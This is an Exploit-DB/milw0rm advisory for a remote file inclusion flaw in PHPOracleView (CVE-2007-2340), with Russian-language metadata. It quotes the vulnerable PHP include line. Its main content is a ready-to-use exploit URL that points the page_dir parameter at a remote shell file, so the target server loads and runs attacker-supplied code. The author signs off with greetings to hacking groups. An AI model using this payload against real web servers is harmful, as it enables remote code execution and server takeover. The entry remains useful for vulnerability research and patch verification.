Exploit PHPOracleView - 'include_all.inc.php?page_dir' Remote File Inclusion

[Exploiter]

EDB-ID

3803

Проверка EDB

1. Пройдено

Автор

ALKOMANDOZ HACKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-2340

Дата публикации

2007-04-26

===============================
phporacleview =>  (page_dir) Remote File Inclusion Exploit
===============================

Discoverd By : Alkomandoz Hacker


HomePge= Asb-May.Net & Mohandko.com & Sniper-sa.com & Tryag.com

================================

Script Name: phporacleview

Download Script: http://webxadmin.free.fr/download/phporacleview.zip


=================================
Bug in :

phporacleview/inc/include_all.inc.php

=======

<?
include($page_dir . $inc_dir . "config.inc.php");

==================================


Exploit :
--------------------------------

http://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://Shell.txt?

===================================

GreetZ : AsbMay's Groups & City Of Ghosts Team & Sniper-sa TeAm

# milw0rm.com [2007-04-26]